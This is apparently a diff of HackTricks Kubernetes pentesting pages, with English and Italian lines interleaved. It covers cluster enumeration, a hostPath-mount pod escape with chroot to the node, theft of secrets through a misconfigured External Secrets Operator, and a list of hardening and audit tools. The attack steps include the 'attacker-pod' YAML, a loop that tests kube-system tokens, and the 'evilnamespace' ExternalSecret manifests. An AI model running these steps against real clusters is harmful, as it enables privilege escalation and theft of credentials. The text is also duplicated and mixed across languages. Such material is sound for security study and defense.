--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
```
{{#endtab }}
{{#endtabs }}
Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Un altro modo per controllare i tuoi privilegi è utilizzare lo strumento: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
You can learn more about **Kubernetes RBAC** in:
Puoi saperne di più su **Kubernetes RBAC** in:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
**Una volta che sai quali privilegi** hai, controlla la seguente pagina per capire **se puoi abusarne** per escalare i privilegi:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Get Others roles
### Ottieni i ruoli degli altri
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get roles
k get clusterroles
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
```
{{#endtab }}
{{#endtabs }}
### Get namespaces
### Ottieni i namespace
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
Kubernetes supporta **più cluster virtuali** supportati dallo stesso cluster fisico. Questi cluster virtuali sono chiamati **namespace**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get namespaces
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/
```
{{#endtab }}
{{#endtabs }}
### Get secrets
### Ottieni segreti
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get secrets -o yaml
k get secrets -o yaml -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
```
{{#endtab }}
{{#endtabs }}
If you can read secrets you can use the following lines to get the privileges related to each to token:
Se puoi leggere i segreti, puoi usare le seguenti righe per ottenere i privilegi relativi a ciascun token:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Ottieni gli Account di Servizio
### Get Service Accounts
As discussed at the begging of this page **when a pod is run a service account is usually assigned to it**. Therefore, listing the service accounts, their permissions and where are they running may allow a user to escalate privileges.
Come discusso all'inizio di questa pagina **quando un pod viene eseguito, di solito viene assegnato un account di servizio**. Pertanto, elencare gli account di servizio, le loro autorizzazioni e dove vengono eseguiti può consentire a un utente di elevare i privilegi.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get serviceaccounts
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
```
{{#endtab }}
{{#endtabs }}
### Get Deployments
### Ottieni i Deployment
The deployments specify the **components** that need to be **run**.
I deployment specificano i **componenti** che devono essere **eseguiti**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get deployments
k get deployments -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
```
{{#endtab }}
{{#endtabs }}
### Get Pods
### Ottieni Pods
The Pods are the actual **containers** that will **run**.
I Pods sono i **contenitori** effettivi che verranno **eseguiti**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get pods
k get pods -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
```
{{#endtab }}
{{#endtabs }}
### Get Services
### Ottieni Servizi
Kubernetes **services** are used to **expose a service in a specific port and IP** (which will act as load balancer to the pods that are actually offering the service). This is interesting to know where you can find other services to try to attack.
I **servizi** di Kubernetes vengono utilizzati per **esporre un servizio su una porta e un IP specifici** (che agiranno come bilanciatore di carico per i pod che offrono effettivamente il servizio). È interessante sapere dove puoi trovare altri servizi da provare ad attaccare.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get services
k get services -n custnamespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
```
{{#endtab }}
{{#endtabs }}
### Get nodes
### Ottieni nodi
Get all the **nodes configured inside the cluster**.
Ottieni tutti i **nodi configurati all'interno del cluster**.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get nodes
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/nodes/
```
{{#endtab }}
{{#endtabs }}
### Get DaemonSets
### Ottieni DaemonSets
**DaeamonSets** allows to ensure that a **specific pod is running in all the nodes** of the cluster (or in the ones selected). If you delete the DaemonSet the pods managed by it will be also removed.
**DaeamonSets** consente di garantire che un **pod specifico sia in esecuzione in tutti i nodi** del cluster (o in quelli selezionati). Se elimini il DaemonSet, i pod gestiti da esso verranno rimossi.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get daemonsets
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
```
{{#endtab }}
{{#endtabs }}
### Get cronjob
### Ottieni cronjob
Cron jobs allows to schedule using crontab like syntax the launch of a pod that will perform some action.
I cron job consentono di pianificare, utilizzando una sintassi simile a crontab, il lancio di un pod che eseguirà alcune azioni.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get cronjobs
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
```
{{#endtab }}
{{#endtabs }}
### Get configMap
### Ottieni configMap
configMap always contains a lot of information and configfile that provide to apps which run in the kubernetes. Usually You can find a lot of password, secrets, tokens which used to connecting and validating to other internal/external service.
configMap contiene sempre molte informazioni e file di configurazione che forniscono alle app che girano in kubernetes. Di solito puoi trovare molte password, segreti, token utilizzati per connettersi e convalidare altri servizi interni/esterni.
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get configmaps # -n namespace
```
{{#endtab }}
{{#tab name="API" }}
```bash
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
```
{{#endtab }}
{{#endtabs }}
### Get Network Policies / Cilium Network Policies
### Ottieni Politiche di Rete / Politiche di Rete Cilium
{{#tabs }}
{{#tab name="First Tab" }}
{{#tab name="Primo Tab" }}
```bash
k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies
```
{{#endtab }}
{{#endtabs }}
### Get Everything / All
### Ottieni Tutto / Tutto
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all
```
{{#endtab }}
{{#endtabs }}
### **Get all resources managed by helm**
### **Ottieni tutte le risorse gestite da helm**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
```
{{#endtab }}
{{#endtabs }}
### **Get Pods consumptions**
### **Ottieni i consumi dei Pod**
{{#tabs }}
{{#tab name="kubectl" }}
```bash
k top pod --all-namespaces
```
{{#endtab }}
{{#endtabs }}
### Escaping from the pod
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
### Uscire dal pod
Se sei in grado di creare nuovi pod, potresti essere in grado di uscire da essi verso il nodo. Per farlo, devi creare un nuovo pod utilizzando un file yaml, passare al pod creato e poi chroot nel sistema del nodo. Puoi utilizzare pod già esistenti come riferimento per il file yaml poiché mostrano immagini e percorsi esistenti.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> if you need create pod on the specific node, you can use following command to get labels on node
> se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le etichette sul nodo
>
> `k get nodes --show-labels`
>
> Commonly, kubernetes.io/hostname and node-role.kubernetes.io/master are all good label for select.
Then you create your attack.yaml file
> Comunemente, kubernetes.io/hostname e node-role.kubernetes.io/master sono tutte buone etichette per la selezione.
Poi crei il tuo file attack.yaml
```yaml
apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
# kubernetes.io/hostname: master
# or using
# node-role.kubernetes.io/master: ""
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
After that you create the pod
Dopo di che crei il pod
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Now you can switch to the created pod as follows
Ora puoi passare al pod creato come segue
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
And finally you chroot into the node's system
E infine ti chroot nel sistema del nodo
```bash
chroot /root /bin/bash
```
Informazioni ottenute da: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
## References
## Riferimenti
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

124
src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
View File

@@ -1,113 +1,101 @@
# External Secret Operator
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
**L'autore originale di questa pagina è** [**Fares**](https://www.linkedin.com/in/fares-siala/)
This page gives some pointers onto how you can achieve to steal secrets from a misconfigured ESO or application which uses ESO to sync its secrets.
Questa pagina fornisce alcuni suggerimenti su come puoi riuscire a rubare segreti da un ESO mal configurato o da un'applicazione che utilizza ESO per sincronizzare i suoi segreti.
## Disclaimer
The technique showed below can only work when certain circumstances are met. For instance, it depends on the requirements needed to allow a secret to be synched on a namespace that you own / compromised. You need to figure it out by yourself.
La tecnica mostrata di seguito può funzionare solo quando si verificano determinate circostanze. Ad esempio, dipende dai requisiti necessari per consentire a un segreto di essere sincronizzato in un namespace che possiedi / compromesso. Devi scoprirlo da solo.
## Prerequisites
1. A foothold in a kubernetes / openshift cluster with admin privileges on a namespace
2. Read access on at least ExternalSecret at cluster level
3. Figure out if there are any required labels / annotations or group membership needed which allows ESO to sync your secret. If you're lucky, you can freely steal any defined secret.
1. Un accesso a un cluster kubernetes / openshift con privilegi di amministratore su un namespace
2. Accesso in lettura su almeno ExternalSecret a livello di cluster
3. Scoprire se ci sono etichette / annotazioni o appartenenza a gruppi richieste che consentono a ESO di sincronizzare il tuo segreto. Se sei fortunato, puoi rubare liberamente qualsiasi segreto definito.
### Gathering information about existing ClusterSecretStore
Assuming that you have a users which has enough rights to read this resource; start by first listing existing _**ClusterSecretStores**_.
Assumendo che tu abbia un utente con diritti sufficienti per leggere questa risorsa; inizia elencando prima i _**ClusterSecretStores**_ esistenti.
```sh
kubectl get ClusterSecretStore
```
### Enumerazione di ExternalSecret
### ExternalSecret enumeration
Let's assume you found a ClusterSecretStore named _**mystore**_. Continue by enumerating its associated externalsecret.
Supponiamo di aver trovato un ClusterSecretStore chiamato _**mystore**_. Continua enumerando il suo externalsecret associato.
```sh
kubectl get externalsecret -A | grep mystore
```
_Questa risorsa è limitata allo spazio dei nomi, quindi a meno che tu non sappia già in quale spazio dei nomi cercare, aggiungi l'opzione -A per cercare in tutti gli spazi dei nomi._
_This resource is namespace scoped so unless you already know which namespace to look for, add the -A option to look across all namespaces._
You should get a list of defined externalsecret. Let's assume you found an externalsecret object called _**mysecret**_ defined and used by namespace _**mynamespace**_. Gather a bit more information about what kind of secret it holds.
Dovresti ottenere un elenco di externalsecret definiti. Supponiamo che tu abbia trovato un oggetto externalsecret chiamato _**mysecret**_ definito e utilizzato dallo spazio dei nomi _**mynamespace**_. Raccogli un po' più di informazioni su che tipo di segreto contiene.
```sh
kubectl get externalsecret myexternalsecret -n mynamespace -o yaml
```
### Assemblare i pezzi
### Assembling the pieces
From here you can get the name of one or multiple secret names (such as defined in the Secret resource). You will an output similar to:
Da qui puoi ottenere il nome di uno o più nomi di segreti (come definito nella risorsa Secret). Otterrai un output simile a:
```yaml
kind: ExternalSecret
metadata:
annotations:
...
labels:
...
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...
```
Finora abbiamo:
So far we got:
- Name a ClusterSecretStore
- Name of an ExternalSecret
- Name of the secret
Now that we have everything we need, you can create an ExternalSecret (and eventually patch/create a new Namespace to comply with prerequisites needed to get your new secret synced ):
- Nome di un ClusterSecretStore
- Nome di un ExternalSecret
- Nome del segreto
Ora che abbiamo tutto il necessario, puoi creare un ExternalSecret (e eventualmente patchare/creare un nuovo Namespace per soddisfare i requisiti necessari per sincronizzare il tuo nuovo segreto):
```yaml
kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
```
```yaml
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace
```
After a few mins, if sync conditions were met, you should be able to view the leaked secret inside your namespace
Dopo alcuni minuti, se le condizioni di sincronizzazione sono state soddisfatte, dovresti essere in grado di visualizzare il segreto leakato all'interno del tuo namespace.
```sh
kubectl get secret leaked_secret -o yaml
```
## References
## Riferimenti
{{#ref}}
https://external-secrets.io/latest/
@@ -116,7 +104,3 @@ https://external-secrets.io/latest/
{{#ref}}
https://github.com/external-secrets/external-secrets
{{#endref}}

174
src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md
View File

@@ -2,177 +2,165 @@
{{#include ../../../banners/hacktricks-training.md}}
## Tools to analyse a cluster
## Strumenti per analizzare un cluster
### [**Kubescape**](https://github.com/armosec/kubescape)
[**Kubescape**](https://github.com/armosec/kubescape) is a K8s open-source tool providing a multi-cloud K8s single pane of glass, including risk analysis, security compliance, RBAC visualizer and image vulnerabilities scanning. Kubescape scans K8s clusters, YAML files, and HELM charts, detecting misconfigurations according to multiple frameworks (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), software vulnerabilities, and RBAC (role-based-access-control) violations at early stages of the CI/CD pipeline, calculates risk score instantly and shows risk trends over time.
[**Kubescape**](https://github.com/armosec/kubescape) è uno strumento open-source K8s che fornisce un'unica interfaccia multi-cloud K8s, inclusa l'analisi dei rischi, la conformità alla sicurezza, il visualizzatore RBAC e la scansione delle vulnerabilità delle immagini. Kubescape scansiona i cluster K8s, i file YAML e i grafici HELM, rilevando configurazioni errate secondo diversi framework (come il [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo), [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), vulnerabilità software e violazioni RBAC (controllo degli accessi basato sui ruoli) nelle prime fasi della pipeline CI/CD, calcola istantaneamente il punteggio di rischio e mostra le tendenze di rischio nel tempo.
```bash
kubescape scan --verbose
```
### [**Kube-bench**](https://github.com/aquasecurity/kube-bench)
The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
You can choose to:
Lo strumento [**kube-bench**](https://github.com/aquasecurity/kube-bench) è uno strumento che verifica se Kubernetes è distribuito in modo sicuro eseguendo i controlli documentati nel [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\
Puoi scegliere di:
- run kube-bench from inside a container (sharing PID namespace with the host)
- run a container that installs kube-bench on the host, and then run kube-bench directly on the host
- install the latest binaries from the [Releases page](https://github.com/aquasecurity/kube-bench/releases),
- compile it from source.
- eseguire kube-bench all'interno di un container (condividendo lo spazio dei nomi PID con l'host)
- eseguire un container che installa kube-bench sull'host, e poi eseguire kube-bench direttamente sull'host
- installare gli ultimi binari dalla [pagina delle Release](https://github.com/aquasecurity/kube-bench/releases),
- compilarlo dal sorgente.
### [**Kubeaudit**](https://github.com/Shopify/kubeaudit)
The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns.
Kubeaudit can detect if it is running within a container in a cluster. If so, it will try to audit all Kubernetes resources in that cluster:
Lo strumento [**kubeaudit**](https://github.com/Shopify/kubeaudit) è uno strumento da riga di comando e un pacchetto Go per **auditare i cluster Kubernetes** per vari problemi di sicurezza.
Kubeaudit può rilevare se sta girando all'interno di un container in un cluster. Se sì, cercherà di auditare tutte le risorse Kubernetes in quel cluster:
```
kubeaudit all
```
This tool also has the argument `autofix` to **automatically fix detected issues.**
Questo strumento ha anche l'argomento `autofix` per **correggere automaticamente i problemi rilevati.**
### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter)
The tool [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) hunts for security weaknesses in Kubernetes clusters. The tool was developed to increase awareness and visibility for security issues in Kubernetes environments.
Lo strumento [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) cerca vulnerabilità di sicurezza nei cluster Kubernetes. Lo strumento è stato sviluppato per aumentare la consapevolezza e la visibilità sui problemi di sicurezza negli ambienti Kubernetes.
```bash
kube-hunter --remote some.node.com
```
### [**Kubei**](https://github.com/Erezf-p/kubei)
[**Kubei**](https://github.com/Erezf-p/kubei) is a vulnerabilities scanning and CIS Docker benchmark tool that allows users to get an accurate and immediate risk assessment of their kubernetes clusters. Kubei scans all images that are being used in a Kubernetes cluster, including images of application pods and system pods.
[**Kubei**](https://github.com/Erezf-p/kubei) è uno strumento di scansione delle vulnerabilità e benchmark CIS Docker che consente agli utenti di ottenere una valutazione del rischio accurata e immediata dei propri cluster Kubernetes. Kubei scansiona tutte le immagini utilizzate in un cluster Kubernetes, comprese le immagini dei pod delle applicazioni e dei pod di sistema.
### [**KubiScan**](https://github.com/cyberark/KubiScan)
[**KubiScan**](https://github.com/cyberark/KubiScan) is a tool for scanning Kubernetes cluster for risky permissions in Kubernetes's Role-based access control (RBAC) authorization model.
[**KubiScan**](https://github.com/cyberark/KubiScan) è uno strumento per la scansione dei cluster Kubernetes alla ricerca di permessi rischiosi nel modello di autorizzazione Role-based access control (RBAC) di Kubernetes.
### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit)
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) is a tool built to test other type of high risk checks compared with the other tools. It mainly have 3 different modes:
[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) è uno strumento progettato per testare altri tipi di controlli ad alto rischio rispetto agli altri strumenti. Ha principalmente 3 modalità diverse:
- **`find-role-relationships`**: Which will find which AWS roles are running in which pods
- **`find-secrets`**: Which tries to identify secrets in K8s resources such as Pods, ConfigMaps, and Secrets.
- **`test-imds-access`**: Which will try to run pods and try to access the metadata v1 and v2. WARNING: This will run a pod in the cluster, be very careful because maybe you don't want to do this!
- **`find-role-relationships`**: Che troverà quali ruoli AWS sono in esecuzione in quali pod
- **`find-secrets`**: Che cerca di identificare segreti nelle risorse K8s come Pods, ConfigMaps e Secrets.
- **`test-imds-access`**: Che cercherà di eseguire pod e tentare di accedere ai metadati v1 e v2. ATTENZIONE: Questo eseguirà un pod nel cluster, fai molta attenzione perché potresti non volerlo fare!
## **Audit IaC Code**
### [**Popeye**](https://github.com/derailed/popeye)
[**Popeye**](https://github.com/derailed/popeye) is a utility that scans live Kubernetes cluster and **reports potential issues with deployed resources and configurations**. It sanitizes your cluster based on what's deployed and not what's sitting on disk. By scanning your cluster, it detects misconfigurations and helps you to ensure that best practices are in place, thus preventing future headaches. It aims at reducing the cognitive \_over_load one faces when operating a Kubernetes cluster in the wild. Furthermore, if your cluster employs a metric-server, it reports potential resources over/under allocations and attempts to warn you should your cluster run out of capacity.
[**Popeye**](https://github.com/derailed/popeye) è un'utilità che scansiona i cluster Kubernetes attivi e **riporta potenziali problemi con le risorse e le configurazioni distribuite**. Sanitizza il tuo cluster in base a ciò che è distribuito e non a ciò che è memorizzato su disco. Scansionando il tuo cluster, rileva le configurazioni errate e ti aiuta a garantire che le migliori pratiche siano in atto, prevenendo così futuri mal di testa. Mira a ridurre il carico cognitivo che si affronta quando si opera in un cluster Kubernetes in produzione. Inoltre, se il tuo cluster utilizza un metric-server, riporta potenziali sovra/sotto allocazioni delle risorse e cerca di avvisarti nel caso in cui il tuo cluster esaurisca la capacità.
### [**KICS**](https://github.com/Checkmarx/kics)
[**KICS**](https://github.com/Checkmarx/kics) finds **security vulnerabilities**, compliance issues, and infrastructure misconfigurations in the following **Infrastructure as Code solutions**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, and OpenAPI 3.0 specifications
[**KICS**](https://github.com/Checkmarx/kics) trova **vulnerabilità di sicurezza**, problemi di conformità e configurazioni errate dell'infrastruttura nelle seguenti **soluzioni Infrastructure as Code**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM e specifiche OpenAPI 3.0
### [**Checkov**](https://github.com/bridgecrewio/checkov)
[**Checkov**](https://github.com/bridgecrewio/checkov) is a static code analysis tool for infrastructure-as-code.
[**Checkov**](https://github.com/bridgecrewio/checkov) è uno strumento di analisi statica del codice per l'infrastructure-as-code.
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) or [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) and detects security and compliance misconfigurations using graph-based scanning.
Scansiona l'infrastruttura cloud fornita utilizzando [Terraform](https://terraform.io), il piano Terraform, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) o [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) e rileva configurazioni errate di sicurezza e conformità utilizzando la scansione basata su grafi.
### [**Kube-score**](https://github.com/zegl/kube-score)
[**kube-score**](https://github.com/zegl/kube-score) is a tool that performs static code analysis of your Kubernetes object definitions.
[**kube-score**](https://github.com/zegl/kube-score) è uno strumento che esegue analisi statica del codice delle definizioni degli oggetti Kubernetes.
To install:
Per installare:
| Distribution | Command / Link |
| Distribuzione | Comando / Link |
| --------------------------------------------------- | --------------------------------------------------------------------------------------- |
| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Binaries precompilati per macOS, Linux e Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) |
| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) |
| Homebrew (macOS and Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` |
| Homebrew (macOS e Linux) | `brew install kube-score` |
| [Krew](https://krew.sigs.k8s.io/) (macOS e Linux) | `kubectl krew install score` |
## Tips
### Kubernetes PodSecurityContext and SecurityContext
### Kubernetes PodSecurityContext e SecurityContext
You can configure the **security context of the Pods** (with _PodSecurityContext_) and of the **containers** that are going to be run (with _SecurityContext_). For more information read:
Puoi configurare il **contesto di sicurezza dei Pod** (con _PodSecurityContext_) e dei **container** che verranno eseguiti (con _SecurityContext_). Per ulteriori informazioni leggi:
{{#ref}}
kubernetes-securitycontext-s.md
{{#endref}}
### Kubernetes API Hardening
### Indurimento dell'API Kubernetes
It's very important to **protect the access to the Kubernetes Api Server** as a malicious actor with enough privileges could be able to abuse it and damage in a lot of way the environment.\
It's important to secure both the **access** (**whitelist** origins to access the API Server and deny any other connection) and the [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (following the principle of **least** **privilege**). And definitely **never** **allow** **anonymous** **requests**.
È molto importante **proteggere l'accesso al Kubernetes Api Server** poiché un attore malintenzionato con privilegi sufficienti potrebbe abusarne e danneggiare l'ambiente in molti modi.\
È importante garantire sia l'**accesso** (**whitelist** delle origini per accedere all'API Server e negare qualsiasi altra connessione) sia la [**autenticazione**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (seguendo il principio del **minimo** **privilegio**). E sicuramente **mai** **consentire** **richieste** **anonime**.
**Common Request process:**\
User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control.
**Processo di richiesta comune:**\
Utente o K8s ServiceAccount –> Autenticazione –> Autorizzazione –> Controllo di ammissione.
**Tips**:
**Suggerimenti**:
- Close ports.
- Avoid Anonymous access.
- NodeRestriction; No access from specific nodes to the API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Basically prevents kubelets from adding/removing/updating labels with a node-restriction.kubernetes.io/ prefix. This label prefix is reserved for administrators to label their Node objects for workload isolation purposes, and kubelets will not be allowed to modify labels with that prefix.
- And also, allows kubelets to add/remove/update these labels and label prefixes.
- Ensure with labels the secure workload isolation.
- Avoid specific pods from API access.
- Avoid ApiServer exposure to the internet.
- Avoid unauthorized access RBAC.
- ApiServer port with firewall and IP whitelisting.
- Chiudi le porte.
- Evita l'accesso anonimo.
- NodeRestriction; Nessun accesso da nodi specifici all'API.
- [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction)
- Fondamentalmente impedisce ai kubelet di aggiungere/rimuovere/aggiornare etichette con un prefisso node-restriction.kubernetes.io/. Questo prefisso di etichetta è riservato agli amministratori per etichettare i loro oggetti Node per scopi di isolamento del carico di lavoro, e i kubelet non saranno autorizzati a modificare le etichette con quel prefisso.
- E inoltre, consente ai kubelet di aggiungere/rimuovere/aggiornare queste etichette e prefissi di etichetta.
- Assicurati con le etichette l'isolamento sicuro del carico di lavoro.
- Evita che pod specifici accedano all'API.
- Evita l'esposizione dell'ApiServer a Internet.
- Evita l'accesso non autorizzato RBAC.
- Porta dell'ApiServer con firewall e whitelist IP.
### SecurityContext Hardening
By default root user will be used when a Pod is started if no other user is specified. You can run your application inside a more secure context using a template similar to the following one:
### Indurimento del SecurityContext
Per impostazione predefinita, verrà utilizzato l'utente root quando un Pod viene avviato se non viene specificato un altro utente. Puoi eseguire la tua applicazione all'interno di un contesto più sicuro utilizzando un modello simile al seguente:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: security-context-demo
name: security-context-demo
spec:
securityContext:
